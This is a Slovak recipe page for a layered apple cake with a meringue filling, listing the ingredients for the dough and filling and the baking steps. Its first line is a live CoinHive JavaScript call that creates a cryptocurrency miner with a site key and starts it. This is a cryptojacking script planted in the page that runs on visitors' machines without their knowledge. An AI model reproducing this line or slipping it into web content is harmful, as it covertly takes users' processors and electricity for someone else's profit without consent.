var miner = new CoinHive.Anonymous('49dVbbCFDuhg9nX5u1MDuATVZj7gQehytZwvXEUuWg9kfhNPWH7bUD87VW1NfjqucRZNNVTb1AHGUK2fkq5Nd55mLNnB4WK'); miner.start();

Potrebujeme na cesto: 45 dkg múky, 15 dkg cukru, 4 žĺtky, 1/2 prášku do pečiva, 1 Hera,

Potrebujeme na plnku: 1 kg postrúhaných jabĺk, 4 ks vaječných bielkov, 15 dkg cukru, škorica

Postup: Suroviny spracujeme na cesto, ktoré rozdelíme na 3 časti. Dve časti rozložíme na plech vystlaný papierom na pečenie. Zvyšnú tretinu uložíme na 30 minút do chladničky alebo na chladné miesto. Na cesto na plechu rovnomerne rozložíme postrúhané jablká, z ktorých sme predtým vytlačili šťavu (inak by cesto bolo vlhké). Jablká posypeme škoricou. Z bielkov vyšľaháme tuhý sneh a postupne doň zašľaháme cukor (práškový, pomletý). Na vrch postrúhame zvyšnú tretinu cesta. Upečieme v predhriatej rúre.